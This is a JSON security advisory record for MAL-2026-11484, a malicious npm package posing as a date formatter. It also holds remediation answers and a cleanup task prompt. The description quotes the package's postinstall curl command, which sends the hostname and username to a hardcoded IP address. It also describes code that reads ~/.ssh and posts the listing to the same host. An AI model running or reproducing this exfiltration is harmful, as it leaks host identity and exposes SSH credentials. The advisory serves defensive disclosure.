{"answers":{"affected":"1 open source package ship an affected version, including simple-date-formatter-util-1.","exploited":"There is no known exploitation of MAL-2026-11484 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-11484 is a malicious package in simple-date-formatter-util-1, published on 2 Aug 2026."},"fix_prompt":"MAL-2026-11484 is a malicious package: simple-date-formatter-util-1 (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-11484/ (Markdown: https://insights.sbomify.com/MAL-2026-11484/index.md)","id":"MAL-2026-11484","markdown":"https://insights.sbomify.com/MAL-2026-11484/index.md","name":"MAL-2026-11484","record":{"aliases":["GHSA-mmc7-8pmj-h3xj"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"Package advertises itself as a date formatting utility but ships an active install-time exfiltration payload. package.json declares a postinstall hook `curl http://124.221.154.135/pre?h=$(hostname)\u0026u=$(whoami)` that fires automatically on npm install, sending the installer's hostname and username over plaintext HTTP to a hardcoded bare IP. A shipped postinstall.js additionally reads the installer's `~/.ssh` directory via `fs.readdirSync(sshDir)` and POSTs the listing along with username/platform to the same host `124.221.154.135`. Source comments explicitly describe theft targets and C2/exfiltration behavior, confirming the mismatch between the advertised purpose and the actual behavior.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n\nThe OpenSSF Package Analysis project identified 'simple-date-formatter-util-1' @ 1.0.0 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in simple-date-formatter-util-1 (npm)","id":"MAL-2026-11484","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"simple-date-formatter-util-1","purl":"pkg:npm/simple-date-formatter-util-1","source":"MAL-2026-11484"}],"products":null,"published":"2026-08-02","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-11484/"}